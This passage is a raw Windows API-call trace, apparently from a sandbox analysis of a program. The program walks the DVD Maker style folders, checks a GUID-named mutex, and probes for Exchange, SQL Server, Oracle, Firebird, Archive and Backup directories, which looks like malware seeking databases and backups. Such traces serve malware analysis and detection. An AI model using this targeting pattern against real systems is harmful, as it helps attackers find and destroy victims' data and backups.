lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.529] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.529] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.529] GlobalUnlock (hMem=0x44000c) returned 0 [0058.529] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.529] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.529] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.529] GlobalUnlock (hMem=0x44000c) returned 0 [0058.529] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.529] GlobalUnlock (hMem=0x440004) returned 0 [0058.529] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.529] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5c3c91, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5c3c91, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0058.529] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.529] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.530] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.530] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.530] GlobalUnlock (hMem=0x440004) returned 0 [0058.530] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.530] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.530] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.530] GlobalUnlock (hMem=0x440004) returned 0 [0058.530] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.530] GlobalUnlock (hMem=0x44000c) returned 0 [0058.530] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.530] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f59db34, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f59db34, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0058.530] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.530] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.530] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.530] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.530] GlobalUnlock (hMem=0x44000c) returned 0 [0058.530] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.530] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.530] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.530] GlobalUnlock (hMem=0x44000c) returned 0 [0058.530] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.530] GlobalUnlock (hMem=0x440004) returned 0 [0058.530] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.530] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f59db34, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f59db34, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0058.530] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.530] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.531] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.531] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.531] GlobalUnlock (hMem=0x440004) returned 0 [0058.531] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.531] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.531] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.531] GlobalUnlock (hMem=0x440004) returned 0 [0058.531] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.531] GlobalUnlock (hMem=0x44000c) returned 0 [0058.531] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.531] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f55187a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f55187a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1302, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0058.531] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.531] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.531] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.531] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.531] GlobalUnlock (hMem=0x44000c) returned 0 [0058.531] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.531] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.531] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.531] GlobalUnlock (hMem=0x44000c) returned 0 [0058.531] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.531] GlobalUnlock (hMem=0x440004) returned 0 [0058.531] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.531] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5779d7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5779d7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff1c74f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0058.531] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.531] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.531] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.531] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.531] GlobalUnlock (hMem=0x440004) returned 0 [0058.532] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.532] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.532] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.532] GlobalUnlock (hMem=0x440004) returned 0 [0058.532] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.532] GlobalUnlock (hMem=0x44000c) returned 0 [0058.532] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.532] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3fac35, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3fac35, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff1c74f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="specialoccasion.png", cAlternateFileName="")) returned 1 [0058.532] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.532] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.532] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.532] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.532] GlobalUnlock (hMem=0x44000c) returned 0 [0058.532] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.532] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.532] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.532] GlobalUnlock (hMem=0x44000c) returned 0 [0058.532] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.532] GlobalUnlock (hMem=0x440004) returned 0 [0058.532] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.532] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f4b9306, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f4b9306, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff1c74f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1917, dwReserved0=0x0, dwReserved1=0x0, cFileName="whitemask1047.png", cAlternateFileName="")) returned 1 [0058.532] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.532] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.532] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.532] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.532] GlobalUnlock (hMem=0x440004) returned 0 [0058.532] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.533] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.533] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.533] GlobalUnlock (hMem=0x440004) returned 0 [0058.533] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.533] GlobalUnlock (hMem=0x44000c) returned 0 [0058.533] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.533] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f46d04c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f46d04c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x296fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="whitevignette1047.png", cAlternateFileName="")) returned 1 [0058.533] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.533] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.533] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.533] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.533] GlobalUnlock (hMem=0x44000c) returned 0 [0058.533] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.533] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.533] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.533] GlobalUnlock (hMem=0x44000c) returned 0 [0058.533] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.533] GlobalUnlock (hMem=0x440004) returned 0 [0058.533] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.533] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f46d04c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f46d04c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x296fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="whitevignette1047.png", cAlternateFileName="")) returned 0 [0058.533] GetLastError () returned 0x12 [0058.533] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0058.534] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa0e2d73a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sports", cAlternateFileName="")) returned 1 [0058.534] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0058.534] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0058.534] GlobalLock (hMem=0x440004) returned 0x550170 [0058.534] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.534] GlobalUnlock (hMem=0x440004) returned 0 [0058.534] GlobalLock (hMem=0x440004) returned 0x550170 [0058.534] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.534] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.534] GlobalUnlock (hMem=0x440004) returned 0 [0058.534] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.534] GlobalUnlock (hMem=0x44000c) returned 0 [0058.534] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.534] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.534] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.534] GlobalUnlock (hMem=0x44000c) returned 0 [0058.534] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.534] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.534] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.534] GlobalUnlock (hMem=0x44000c) returned 0 [0058.534] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.534] GlobalUnlock (hMem=0x440004) returned 0 [0058.534] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.535] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports", len=0x32 | out: pbstr=0x18edc4*="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports") returned 1 [0058.535] GlobalLock (hMem=0x440004) returned 0x550170 [0058.535] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.535] GlobalUnlock (hMem=0x440004) returned 0 [0058.535] GlobalLock (hMem=0x440004) returned 0x550170 [0058.535] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.535] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.535] GlobalUnlock (hMem=0x440004) returned 0 [0058.535] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.535] GlobalUnlock (hMem=0x44000c) returned 0 [0058.535] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@蚮T蚂T企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0058.537] GetLastError () returned 0x3 [0058.538] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\") returned 0x33 [0058.538] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0058.538] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\眵?\x18") returned 21 [0058.538] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="伤R䱠@蘜T企@\x18권Q\x181")) returned 0xffffffff [0058.539] GetLastError () returned 0x2 [0058.539] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\") returned 0x33 [0058.539] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0058.540] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="伤R䱠@蔴T企@\x18?T\x18;")) returned 0xffffffff [0058.541] GetLastError () returned 0x2 [0058.541] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\") returned 0x33 [0058.541] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0058.541] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="伤R䱠@ꐬR企@\x18?T\x18D")) returned 0xffffffff [0058.542] GetLastError () returned 0x2 [0058.542] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\") returned 0x33 [0058.542] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0058.543] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="伤R䱠@蘜T企@\x18蔴T\x18j")) returned 0xffffffff [0058.544] GetLastError () returned 0x2 [0058.544] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\") returned 0x33 [0058.544] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\眵?\x18") returned 37 [0058.544] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="伤R䱠@ꐬR企@\x18?T\x18q")) returned 0xffffffff [0058.545] GetLastError () returned 0x2 [0058.545] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\") returned 0x33 [0058.545] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\蔰TP") returned 6 [0058.545] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="伤R䱠@锴R企@\x18?T\x18y")) returned 0xffffffff [0058.547] GetLastError () returned 0x2 [0058.547] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\") returned 0x33 [0058.547] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0058.547] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="伤R䱠@蘜T企@\x18?T\x18\x81")) returned 0xffffffff [0058.548] GetLastError () returned 0x2 [0058.548] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\", cchLength=0x33 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\") returned 0x33 [0058.548] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0058.548] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, 